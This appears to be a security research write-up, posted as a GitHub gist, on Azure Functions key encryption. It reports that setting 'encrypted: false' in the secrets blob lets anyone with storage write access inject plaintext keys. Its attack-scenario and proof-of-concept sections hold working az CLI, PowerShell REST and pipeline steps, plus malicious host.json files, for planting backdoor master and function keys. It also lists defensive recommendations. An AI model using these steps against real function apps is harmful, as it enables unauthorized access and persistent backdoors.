Skip to content

Instantly share code, notes, and snippets.

@azurekid
Created January 26, 2026 15:22
Show Gist options
  • Select an option

  • Save azurekid/ffb5cf425f8f462b39d8f9ebeeb5fde0 to your computer and use it in GitHub Desktop.

Select an option

Save azurekid/ffb5cf425f8f462b39d8f9ebeeb5fde0 to your computer and use it in GitHub Desktop.

Azure Functions Key Encryption: A Deep Dive into Security Mechanisms and Vulnerabilities

Author: Security Research Team
Date: January 26, 2026
Classification: Security Research


Executive Summary

This research investigates the security mechanisms protecting Azure Functions authentication keys, revealing both robust encryption implementations and critical bypass vulnerabilities. Our findings demonstrate that while Microsoft's Data Protection implementation provides strong cryptographic protection against offline decryption attacks, an architectural flaw in the key deserialization logic allows attackers with storage write access to inject arbitrary authentication keys without requiring decryption capabilities.

Key Findings

Finding Severity Description
encrypted: false Bypass Critical Attackers can inject plaintext keys by setting encrypted: false in key JSON
Encryption Key Exposure High AzureWebEncryptionKey accessible to function code via environment variables
Purpose String Discovery Medium Data Protection purpose string "function-secrets" is publicly known
Robust Key Derivation Positive Offline decryption is not practically feasible despite key exposure

Table of Contents

  1. Introduction
  2. Azure Functions Key Architecture
  3. The Data Protection Framework
  4. Vulnerability Analysis: The encrypted:false Bypass
  5. Decryption Research: Can We Decrypt the Keys?
  6. Assembly Analysis and Runtime Constraints
  7. Attack Scenarios
  8. Proof of Concept
  9. Security Implications
  10. Recommendations
  11. Conclusion
  12. Appendix: Technical Details

Introduction

Azure Functions provides a serverless compute platform that enables developers to run event-driven code without managing infrastructure. To secure HTTP-triggered functions, Azure implements an authentication key system that validates incoming requests using function keys, host keys, and master keys.

These keys are stored in Azure Blob Storage (or alternatively in the file system, Key Vault, or Kubernetes secrets) and are encrypted using Microsoft's ASP.NET Core Data Protection framework. This research examines the security of this implementation, exploring both the cryptographic protections and potential attack vectors.

Research Objectives

  1. Understand how Azure Functions encrypts and stores authentication keys
  2. Identify the encryption mechanism and key derivation process
  3. Determine if keys can be decrypted with available resources
  4. Discover any bypass mechanisms that could circumvent encryption
  5. Assess the overall security posture of the key management system

Environment

  • Function App: Azure Functions v4 (PowerShell worker)
  • Runtime Version: 4.1045.200.25555
  • Storage: Azure Blob Storage (azure-webjobs-secrets container)
  • .NET Version: 8.0.22

Azure Functions Key Architecture

Key Types and Hierarchy

Azure Functions implements a hierarchical key system:

┌─────────────────────────────────────────────────────────┐
│                      Master Key                          │
│  (Full access to all functions and admin endpoints)      │
└─────────────────────────┬───────────────────────────────┘
                          │
        ┌─────────────────┼─────────────────┐
        │                 │                 │
        ▼                 ▼                 ▼
┌───────────────┐ ┌───────────────┐ ┌───────────────┐
│   Host Keys   │ │  System Keys  │ │ Function Keys │
│ (All funcs)   │ │ (Extensions)  │ │ (Per-function)│
└───────────────┘ └───────────────┘ └───────────────┘

Storage Location

Keys are stored in the azure-webjobs-secrets blob container with the following structure:

azure-webjobs-secrets/
└── {site-name}/
    ├── host.json           # Master key, host keys, system keys
    ├── function1.json      # Function-specific keys
    ├── function2.json
    └── ...

Key JSON Format

Each key file contains JSON with the following structure:

{
  "masterKey": {
    "name": "master",
    "value": "CfDJ8AAAA...[encrypted base64]...",
    "encrypted": true
  },
  "functionKeys": [
    {
      "name": "default",
      "value": "CfDJ8AAAA...[encrypted base64]...",
      "encrypted": true
    }
  ],
  "systemKeys": [],
  "hostName": "myfunction.azurewebsites.net",
  "instanceId": "...",
  "source": "runtime",
  "decryptionKeyId": ""
}

The Data Protection Framework

Overview

Azure Functions uses Microsoft's ASP.NET Core Data Protection framework for key encryption. This framework provides:

  • Authenticated encryption (confidentiality + integrity)
  • Key rotation and versioning
  • Purpose-based key isolation

Encryption Implementation

The encryption is handled by DataProtectionKeyValueConverter in the Azure Functions Host:

// From: DataProtectionKeyValueConverter.cs
public DataProtectionKeyValueConverter(FileAccess access)
    : base(access)
{
    var provider = Web.DataProtection.DataProtectionProvider.CreateAzureDataProtector();
    _dataProtector = provider.CreateProtector("function-secrets");
}

Key observations:

  • Provider: Microsoft.Azure.Web.DataProtection.DataProtectionProvider
  • Purpose String: "function-secrets"
  • Interface: IPersistedDataProtector with DangerousUnprotect method

Encrypted Payload Structure

The encrypted values follow the Data Protection format:

┌──────────────┬────────────────────┬──────────────────────────────────┐
│ Magic Header │     Key ID         │         Encrypted Payload        │
│   4 bytes    │     16 bytes       │           Variable               │
│  0x09F0C9F0  │   (GUID or zeros)  │   [IV][Ciphertext][HMAC-SHA256]  │
└──────────────┴────────────────────┴──────────────────────────────────┘

The magic bytes 09-F0-C9-F0 encode to CfDJ8 in URL-safe Base64, which is why all encrypted values start with this prefix.

Key Derivation Chain

The encryption key is derived through a complex chain:

Environment Variable (AzureWebEncryptionKey)
           │
           ▼
    SP800-108 KDF (Counter Mode)
           │
           ├── Purpose: "function-secrets"
           │
           ▼
    ┌──────────────────────────┐
    │  Derived Encryption Key  │  (256 bits)
    │  Derived Validation Key  │  (256 bits)
    └──────────────────────────┘
           │
           ▼
    AES-256-CBC + HMAC-SHA256

Environment Variables

The encryption key is sourced from environment variables in priority order:

  1. POD_ENCRYPTION_KEY (Kubernetes environments only)
  2. WEBSITE_AUTH_ENCRYPTION_KEY
  3. CONTAINER_ENCRYPTION_KEY
  4. Util.GetDefaultKeyValue() (Data Protection fallback)

Vulnerability Analysis: The encrypted:false Bypass

Discovery

Analysis of the DefaultKeyValueConverterFactory.cs in the Azure Functions Host revealed a critical logic flaw:

// From: DefaultKeyValueConverterFactory.cs
public IKeyValueReader GetValueReader(Key key)
{
    if (key.IsEncrypted)
    {
        return new DataProtectionKeyValueConverter(FileAccess.Read);
    }

    return PlaintextValueConverter;  // <-- BYPASS!
}

The Vulnerability

When the runtime reads a key from storage, it checks the encrypted boolean property. If set to false, the runtime uses PlaintextKeyValueConverter which simply returns the value as-is, without any validation or integrity checking.

This means an attacker can inject arbitrary authentication keys by:

  1. Gaining write access to the storage account
  2. Modifying or creating key JSON files
  3. Setting encrypted: false on injected keys

Impact Analysis

Aspect Impact
Authentication Bypass Attacker can authenticate to any function
Privilege Escalation Master key injection grants admin access
Persistence Injected keys persist across restarts
Detection Difficulty No built-in alerting for key modifications

Affected Code Path

Storage Blob
     │
     ▼
SecretManager.GetHostSecretsAsync()
     │
     ▼
IKeyValueConverterFactory.GetValueReader(key)
     │
     ├── if key.IsEncrypted == true
     │        └── DataProtectionKeyValueConverter (decrypt)
     │
     └── if key.IsEncrypted == false
              └── PlaintextKeyValueConverter (NO VALIDATION!)
                       │
                       ▼
              Key accepted and usable for authentication

Decryption Research: Can We Decrypt the Keys?

Research Question

Given that AzureWebEncryptionKey is accessible as an environment variable, can we decrypt encrypted function keys?

What We Have Access To

Resource Availability Source
AzureWebEncryptionKey ✅ Yes Environment variable
Purpose string ✅ Yes "function-secrets" (source code)
Encrypted payload ✅ Yes Blob storage access
Payload structure ✅ Yes Reverse engineering

Decryption Attempts

Attempt 1: SP800-108 Key Derivation

We implemented SP800-108 in Counter Mode to derive encryption and validation keys:

function Get-SP800108DerivedKey {
    param(
        [byte[]]$MasterKey,
        [string]$Purpose,
        [int]$DerivedKeyLengthBytes = 64
    )
    
    $purposeBytes = [Text.Encoding]::UTF8.GetBytes($Purpose)
    $hmac = [HMACSHA512]::new($MasterKey)
    
    $counter = 1
    $derivedKey = @()
    
    while ($derivedKey.Length -lt $DerivedKeyLengthBytes) {
        $counterBytes = [BitConverter]::GetBytes($counter)
        if ([BitConverter]::IsLittleEndian) {
            [Array]::Reverse($counterBytes)
        }
        
        $input = $counterBytes + $purposeBytes + [byte[]]@(0x00)
        $block = $hmac.ComputeHash($input)
        $derivedKey += $block
        $counter++
    }
    
    return $derivedKey[0..($DerivedKeyLengthBytes - 1)]
}

Result: HMAC validation failed

{
  "HmacMatch": false,
  "StoredHmacFirst8": "30-01-E3-F0-6A-69-0D-CF",
  "ComputedHmacFirst8": "AC-D6-9F-76-F4-9E-38-9E"
}

Attempt 2: Raw Master Key

Tried AES-CBC decryption with the raw environment key:

Result: Padding error - incorrect key

Attempt 3: AES-GCM

Attempted authenticated encryption with AES-GCM:

Result: Authentication tag mismatch

Why Decryption Failed

The Microsoft.Azure.Web.DataProtection.DataProtectionProvider.CreateAzureDataProtector() method is implemented in an external, closed-source NuGet package. The key derivation uses additional context that we cannot replicate:

  1. Application Discriminator: A unique identifier for the application
  2. Machine Key Context: Platform-specific entropy
  3. Key Ring Management: Dynamic key selection and rotation

Assembly Loading Attempts

We attempted to load the actual Data Protection assembly from the runtime:

/azure-functions-host/Microsoft.Azure.WebSites.DataProtection.dll

Discovery: The assembly exists and can be loaded, but type enumeration fails:

Microsoft.Azure.WebSites.DataProtection, Version=0.1.6.0
    References:
    - Microsoft.AspNetCore.DataProtection, Version=2.0.0.0  ❌
    
Runtime has:
    - Microsoft.AspNetCore.DataProtection, Version=8.0.0.0  ✅

The version mismatch prevents type loading, making direct invocation of CreateAzureDataProtector() impossible from the PowerShell worker.

Conclusion on Decryption

Offline decryption is NOT practically feasible with available resources. The Data Protection implementation provides genuine defense-in-depth through:

  1. Proprietary key derivation in closed-source assembly
  2. Version-locked dependencies preventing assembly hijacking
  3. Process isolation between worker and host

Assembly Analysis and Runtime Constraints

Process Architecture

Azure Functions uses a multi-process architecture:

┌─────────────────────────────────────────────────────────────┐
│                    Azure Functions Host                      │
│                  (dotnet process - WebHost)                  │
│                                                              │
│  ┌─────────────────────────────────────────────────────┐    │
│  │  Microsoft.Azure.WebJobs.Script.WebHost.dll         │    │
│  │  Microsoft.Azure.WebSites.DataProtection.dll        │    │
│  │  DataProtectionKeyValueConverter                    │    │
│  │  SecretManager                                      │    │
│  └─────────────────────────────────────────────────────┘    │
│                           │                                  │
│                           │ gRPC                             │
│                           ▼                                  │
│  ┌─────────────────────────────────────────────────────┐    │
│  │           PowerShell Worker Process                  │    │
│  │                (Isolated)                            │    │
│  │                                                      │    │
│  │  - Cannot access host's IServiceProvider            │    │
│  │  - Cannot load host's assembly versions             │    │
│  │  - CAN read environment variables                   │    │
│  │  - CAN access file system                           │    │
│  └─────────────────────────────────────────────────────┘    │
└─────────────────────────────────────────────────────────────┘

Loaded Assemblies Analysis

Our analysis enumerated assemblies in the /azure-functions-host/ directory:

Assembly Purpose
Microsoft.Azure.WebSites.DataProtection.dll Azure-specific Data Protection provider
Microsoft.AspNetCore.DataProtection.dll Core Data Protection (v8.0.0.0)
Microsoft.AspNetCore.DataProtection.Abstractions.dll Interfaces
Microsoft.Azure.WebJobs.Script.WebHost.dll Main host assembly

Version Conflict Detail

Assembly: Microsoft.Azure.WebSites.DataProtection (v0.1.6.0)
├── References: Microsoft.AspNetCore.DataProtection v2.0.0.0
└── Error: System cannot find file (version mismatch)

Runtime Loaded: Microsoft.AspNetCore.DataProtection v8.0.0.0
└── Incompatible with v2.0.0.0 reference

This version binding prevents the isolated worker from using the host's Data Protection infrastructure.


Attack Scenarios

Scenario 1: Storage Account Compromise

Prerequisites:

  • Contributor or Storage Blob Data Contributor role on storage account
  • OR compromised storage account keys/SAS tokens

Attack Flow:

1. Identify Function App's storage account
   └── az functionapp show --name <app> --query 'storageAccountName'

2. List secrets container
   └── az storage blob list --container-name azure-webjobs-secrets

3. Download host.json
   └── az storage blob download --container-name azure-webjobs-secrets \
       --name <site>/host.json

4. Inject malicious key
   └── Add: { "name": "backdoor", "value": "attackerkey", "encrypted": false }

5. Upload modified file
   └── az storage blob upload --container-name azure-webjobs-secrets \
       --name <site>/host.json --file host.json --overwrite

6. Authenticate using injected key
   └── curl "https://<app>.azurewebsites.net/api/<function>?code=attackerkey"

Scenario 2: Managed Identity Privilege Escalation

Prerequisites:

  • Code execution in a Function App with managed identity
  • Managed identity has blob write access

Attack Flow:

# Get access token for storage
$token = (Get-AzAccessToken -ResourceUrl "https://storage.azure.com/").Token

# Modify secrets via REST API
$headers = @{
    "Authorization" = "Bearer $token"
    "x-ms-version" = "2020-04-08"
    "x-ms-blob-type" = "BlockBlob"
}

$maliciousHost = @{
    masterKey = @{
        name = "master"
        value = "injected_master_key"
        encrypted = $false
    }
} | ConvertTo-Json

Invoke-RestMethod -Uri "$storageUrl/azure-webjobs-secrets/$siteName/host.json" `
    -Method Put -Headers $headers -Body $maliciousHost

Scenario 3: CI/CD Pipeline Compromise

Prerequisites:

  • Access to deployment pipeline with storage credentials

Attack Flow:

# Malicious pipeline step
- script: |
    # Inject backdoor during deployment
    az storage blob download --container-name azure-webjobs-secrets \
      --name $(SITE_NAME)/host.json --file host.json
    
    # Modify with jq
    jq '.functionKeys += [{"name":"backdoor","value":"secret","encrypted":false}]' \
      host.json > host_modified.json
    
    az storage blob upload --container-name azure-webjobs-secrets \
      --name $(SITE_NAME)/host.json --file host_modified.json --overwrite

Proof of Concept

Malicious host.json

{
  "masterKey": {
    "name": "master",
    "value": "CfDJ8AAAA...legitimate_encrypted_value...",
    "encrypted": true
  },
  "functionKeys": [
    {
      "name": "default",
      "value": "CfDJ8AAAA...legitimate_encrypted_value...",
      "encrypted": true
    },
    {
      "name": "backdoor",
      "value": "attackers_plaintext_key_12345",
      "encrypted": false
    }
  ],
  "systemKeys": [],
  "hostName": "target-function.azurewebsites.net",
  "instanceId": "...",
  "source": "runtime",
  "decryptionKeyId": ""
}

Malicious Function-Specific Key File

{
  "keys": [
    {
      "name": "default",
      "value": "injected_function_key",
      "encrypted": false
    }
  ]
}

Verification Command

# Test the injected key
curl -I "https://target-function.azurewebsites.net/api/SensitiveFunction?code=attackers_plaintext_key_12345"

# Expected: HTTP 200 OK (authenticated)

Security Implications

Defense in Depth Assessment

Layer Protection Bypass Risk
Encryption Strong (Data Protection) Low - offline decryption not feasible
Integrity Weak (no signature on JSON) High - can modify without detection
Access Control Depends on storage RBAC Medium - often misconfigured
Monitoring Limited High - no native alerting

Risk Matrix

                    ┌─────────────────────────────────────┐
                    │           LIKELIHOOD                │
                    │   Low      Medium      High         │
         ┌──────────┼─────────────────────────────────────┤
         │  High    │           │ Storage  │             │
IMPACT   │          │           │ Compromise│             │
         ├──────────┼───────────┼───────────┼─────────────┤
         │  Medium  │           │           │ UAMI       │
         │          │           │           │ Priv Esc   │
         ├──────────┼───────────┼───────────┼─────────────┤
         │  Low     │ Offline   │           │             │
         │          │ Decrypt   │           │             │
         └──────────┴───────────┴───────────┴─────────────┘

What This Means

  1. Encryption is not the weak point - Microsoft's Data Protection is robust
  2. Integrity checking is missing - The encrypted flag is trusted without validation
  3. Storage access = Full compromise - Write access bypasses all key security
  4. Keys can be read from environment - Defense in depth prevents decryption

Recommendations

For Microsoft

  1. Remove the encrypted:false bypass

    • Always validate key format regardless of encrypted flag
    • Implement key format validation (e.g., must match ^CfDJ8[A-Za-z0-9_-]+$)
  2. Add integrity protection

    • Sign the entire key file with a platform key
    • Validate signature before processing
  3. Restrict environment variable access

    • Move encryption key to secure enclave
    • Don't expose to function code
  4. Add key modification alerting

    • Log all changes to secrets container
    • Alert on unencrypted key additions

For Organizations

  1. Strict Storage RBAC

    # Minimize access to secrets container
    az role assignment create \
      --role "Storage Blob Data Reader" \
      --assignee <function-managed-identity> \
      --scope "/subscriptions/.../storageAccounts/.../containers/azure-webjobs-secrets"
  2. Enable Storage Logging

    az monitor diagnostic-settings create \
      --resource <storage-account-id> \
      --name "BlobAccessLogs" \
      --logs '[{"category":"StorageWrite","enabled":true}]'
  3. Use Private Endpoints

    • Prevent public access to storage account
    • Limit attack surface
  4. Regular Key Rotation

    • Rotate function keys periodically
    • Monitor for unexpected key additions
  5. Monitor for Anomalies

    • Alert on new function keys
    • Alert on unencrypted key values

Conclusion

This research reveals a nuanced security landscape for Azure Functions key management. While Microsoft's implementation of the Data Protection framework provides robust cryptographic protection that resists offline decryption attacks even when the encryption key is exposed, the encrypted: false bypass represents a critical vulnerability that undermines these protections.

Key Takeaways

  1. Encryption alone is insufficient - The bypass mechanism allows complete circumvention of cryptographic protections

  2. Storage access is the critical control point - Organizations should focus security efforts on protecting blob storage access rather than assuming encryption provides adequate protection

  3. Defense in depth works - Despite having the encryption key and purpose string, we could not decrypt values due to additional context in the proprietary implementation

  4. Process isolation is effective - The PowerShell worker's inability to access host assemblies prevents runtime exploitation

The Paradox

The most sophisticated attack (decryption) is effectively mitigated, while the simplest attack (setting a boolean to false) completely bypasses security. This highlights the importance of security review across all code paths, not just the cryptographic ones.


Appendix: Technical Details

A. Encrypted Value Analysis

Sample Encrypted Value:
CfDJ8AAAAAAAAAAAAAAAAAAAAACOIDYCL_Bjk3yCB5qJSC9rXbenR3nDUummCRxBXz6jAPCVd...

Decoded Structure:
┌─────────────────────────────────────────────────────────────────────┐
│ Offset │ Length │ Field                │ Value                      │
├────────┼────────┼──────────────────────┼────────────────────────────┤
│ 0      │ 4      │ Magic Header         │ 09-F0-C9-F0                │
│ 4      │ 16     │ Key ID               │ 00-00-00-00-...(zeros)     │
│ 20     │ 16     │ Initialization Vector│ 8E-20-36-02-2F-F0-63-93... │
│ 36     │ N-32   │ Ciphertext           │ [AES-256-CBC encrypted]    │
│ N-32   │ 32     │ HMAC-SHA256          │ 30-01-E3-F0-6A-69-0D-CF... │
└─────────────────────────────────────────────────────────────────────┘

B. Source Code References

File Purpose
DataProtectionKeyValueConverter.cs Encryption/decryption implementation
DefaultKeyValueConverterFactory.cs Key reader/writer selection (contains bypass)
PlaintextKeyValueConverter.cs Passthrough converter for unencrypted keys
SecretsUtility.cs Encryption key retrieval from environment
SecretManager.cs Overall secrets management

C. Environment Variables

Variable Purpose Accessible
AzureWebEncryptionKey Primary encryption key ✅ Yes
WEBSITE_AUTH_ENCRYPTION_KEY Alternative key source ✅ Yes
CONTAINER_ENCRYPTION_KEY Container-specific key ✅ Yes
POD_ENCRYPTION_KEY Kubernetes key ✅ Yes
WEBSITE_SITE_NAME Function App name ✅ Yes

D. Testing Functions Created

Function Purpose
ListFunctionKeys Enumerate secrets file system locations
DecryptFunctionKeys Initial decryption attempts
DecryptWithPurpose Purpose string exploration
DecryptWithEnvKey SP800-108 implementation
DecryptViaRuntime Runtime assembly enumeration
TestAssemblyLoad Assembly loading analysis
FunctionKeyBypass Document findings and PoC

E. Related CVEs and Research

  • This research is original and no existing CVE was found for the encrypted: false bypass
  • Microsoft Security Response Center notification recommended

References

  1. Azure Functions Host Source Code: https://github.com/Azure/azure-functions-host
  2. ASP.NET Core Data Protection: https://docs.microsoft.com/en-us/aspnet/core/security/data-protection/
  3. NIST SP 800-108: Key Derivation Using Pseudorandom Functions
  4. Azure Functions Key Management: https://docs.microsoft.com/en-us/azure/azure-functions/functions-bindings-http-webhook-trigger#authorization-keys

This research was conducted for educational and defensive security purposes. Always obtain proper authorization before testing security vulnerabilities.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment